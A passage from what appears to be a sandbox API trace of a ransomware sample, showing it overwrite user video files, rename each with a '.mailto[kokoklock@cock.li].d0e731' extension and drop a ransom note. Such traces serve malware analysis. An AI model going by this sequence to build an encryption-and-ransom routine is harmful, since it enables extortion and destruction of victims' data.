RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xceec0b55 [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xad74fb3d [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x5def1cff [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xb7cc4d75 [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xb0c65aab [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x9720ff69 [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x6baf7cd0 [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x8a772441 [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x90732188 [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xa6f6f633 [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xf62f2363 [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xe3fcf6bf [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x4162ee83 [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xd5de8d9 [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x298dd1f [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x64ded43 [0082.852] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x770800fe [0082.864] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.864] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.864] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.864] ReadFile (in: hFile=0x6ec, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2883f9cc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2883f9cc*=0x4096, lpOverlapped=0x0) returned 1 [0082.864] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.864] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.865] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0082.865] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.865] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cd30 [0082.865] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cd30) returned 1 [0082.865] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.865] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.865] WriteFile (in: hFile=0x6ec, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2883f9cc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2883f9cc*=0x4096, lpOverlapped=0x0) returned 1 [0082.865] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0082.865] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0xbd20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.865] WriteFile (in: hFile=0x6ec, lpBuffer=0x342ce98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2883fa04, lpOverlapped=0x0 | out: lpBuffer=0x342ce98*, lpNumberOfBytesWritten=0x2883fa04*=0x20, lpOverlapped=0x0) returned 1 [0082.865] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.865] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.865] WriteFile (in: hFile=0x6ec, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2883fa18, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x2883fa18*=0x8, lpOverlapped=0x0) returned 1 [0082.866] WriteFile (in: hFile=0x6ec, lpBuffer=0x2883fa30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2883fa18, lpOverlapped=0x0 | out: lpBuffer=0x2883fa30*, lpNumberOfBytesWritten=0x2883fa18*=0x4, lpOverlapped=0x0) returned 1 [0082.866] WriteFile (in: hFile=0x6ec, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2883fa18, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2883fa18*=0x4, lpOverlapped=0x0) returned 1 [0082.866] WriteFile (in: hFile=0x6ec, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2883fa18, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2883fa18*=0x6c, lpOverlapped=0x0) returned 1 [0082.866] WriteFile (in: hFile=0x6ec, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2883fa18, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x2883fa18*=0x20, lpOverlapped=0x0) returned 1 [0082.866] WriteFile (in: hFile=0x6ec, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2883fa18, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2883fa18*=0x4, lpOverlapped=0x0) returned 1 [0082.866] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.866] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.866] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.866] CloseHandle (hObject=0x6ec) returned 1 [0082.866] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x124) returned 0x341df50 [0082.866] wcscpy (in: _Dest=0x341df50, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi" [0082.866] wcscat (in: _Dest=0x341df50, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731" [0082.866] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\sii9kxvbnhbf.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\sii9kxvbnhbf.avi.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.971] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341df50) returned 1 [0084.971] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi", dwFileAttributes=0x20) returned 0 [0084.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348a428 [0084.971] wcscpy (in: _Dest=0x348a428, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0084.971] wcscat (in: _Dest=0x348a428, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" [0084.971] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\d0e731-readme.txt")) returned 0x20 [0084.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a428) returned 1 [0084.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a248) returned 1 [0084.973] RtlExitUserThread (Status=0x1) Thread: id = 1143 os_tid = 0xf78 [0082.870] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\08ywsvj7a5m.flv")) returned 0x20 [0082.870] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv", dwFileAttributes=0x20) returned 1 [0082.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\08ywsvj7a5m.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f0 [0082.871] GetFileSizeEx (in: hFile=0x5f0, lpFileSize=0x288bfcdc | out: lpFileSize=0x288bfcdc*=79049) returned 1 [0082.871] SetFilePointerEx (in: hFile=0x5f0, liDistanceToMove=0x134c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.871] ReadFile (in: hFile=0x5f0, lpBuffer=0x288bfcb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x288bfcac, lpOverlapped=0x0 | out: lpBuffer=0x288bfcb0*, lpNumberOfBytesRead=0x288bfcac*=0x4, lpOverlapped=0x0) returned 1 [0082.872] SetFilePointerEx (in: hFile=0x5f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cd30 [0082.872] NtQuerySystemTime (in: CurrentTime=0x288bfc88 | out: CurrentTime=0x288bfc88*=132121176407579294) returned 0x0 [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x6f16ba8 [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0xcaa2827e [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x2735fef6 [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0xd8337013 [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x6023e98a [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x94d3bd64 [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x361493aa [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x39dd2bba [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x7c64e08b [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0xab59cfac [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x76dc5c89 [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x9bb7e026 [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x6b0babee [0082.872] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x1b3999ff [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x87c6853f [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x1e7c9ba9 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0xe9845dc7 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x1a96067 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x7ac8ff28 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0xaa50f3c8 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x7f6c0897 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0xe8f09e66 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x2a893fdf [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0xaf6dfb52 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x1dbaeb85 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x184a32e [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0xed00c6a2 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x652add30 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0x13508bb1 [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0xf521934a [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0xb864130a [0082.873] RtlRandom (in: Seed=0x288bfc94 | out: Seed=0x288bfc94) returned 0xd24d58c [0082.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.884] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.884] SetFilePointerEx (in: hFile=0x5f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.884] ReadFile (in: hFile=0x5f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x288bfc60, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x288bfc60*=0x4096, lpOverlapped=0x0) returned 1 [0082.884] SetFilePointerEx (in: hFile=0x5f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.884] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.884] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.884] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.884] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0082.885] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.885] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cd58 [0082.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cd58) returned 1 [0082.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.885] WriteFile (in: hFile=0x5f0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x288bfc60, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x288bfc60*=0x4096, lpOverlapped=0x0) returned 1 [0082.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0082.885] SetFilePointerEx (in: hFile=0x5f0, liDistanceToMove=0x134c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.885] WriteFile (in: hFile=0x5f0, lpBuffer=0x342ce98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x288bfc98, lpOverlapped=0x0 | out: lpBuffer=0x342ce98*, lpNumberOfBytesWritten=0x288bfc98*=0x20, lpOverlapped=0x0) returned 1 [0082.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.885] WriteFile (in: hFile=0x5f0, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x288bfcac, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x288bfcac*=0x8, lpOverlapped=0x0) returned 1 [0082.885] WriteFile (in: hFile=0x5f0, lpBuffer=0x288bfcc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x288bfcac, lpOverlapped=0x0 | out: lpBuffer=0x288bfcc4*, lpNumberOfBytesWritten=0x288bfcac*=0x4, lpOverlapped=0x0) returned 1 [0082.885] WriteFile (in: hFile=0x5f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x288bfcac, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x288bfcac*=0x4, lpOverlapped=0x0) returned 1 [0082.885] WriteFile (in: hFile=0x5f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x288bfcac, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x288bfcac*=0x6c, lpOverlapped=0x0) returned 1 [0082.886] WriteFile (in: hFile=0x5f0, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x288bfcac, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x288bfcac*=0x20, lpOverlapped=0x0) returned 1 [0082.886] WriteFile (in: hFile=0x5f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x288bfcac, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x288bfcac*=0x4, lpOverlapped=0x0) returned 1 [0082.889] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.890] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.890] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.890] CloseHandle (hObject=0x5f0) returned 1 [0082.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf6) returned 0x342c2a0 [0082.890] wcscpy (in: _Dest=0x342c2a0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv" [0082.890] wcscat (in: _Dest=0x342c2a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731" [0082.890] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\08ywsvj7a5m.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\08ywsvj7a5m.flv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.947] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c2a0) returned 1 [0084.947] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv", dwFileAttributes=0x20) returned 0 [0084.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3486f68 [0084.947] wcscpy (in: _Dest=0x3486f68, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0084.947] wcscat (in: _Dest=0x3486f68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" [0084.947] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\d0e731-readme.txt")) returned 0xffffffff [0084.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0084.954] WriteFile (in: hFile=0x328, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x288bfca8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x288bfca8*=0x481, lpOverlapped=0x0) returned 1 [0084.966] CloseHandle (hObject=0x328) returned 1 [0084.968] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486f68) returned 1 [0084.968] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430ec0) returned 1 [0084.968] RtlExitUserThread (Status=0x1) Thread: id = 1144 os_tid = 0xa90 [0082.893] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow 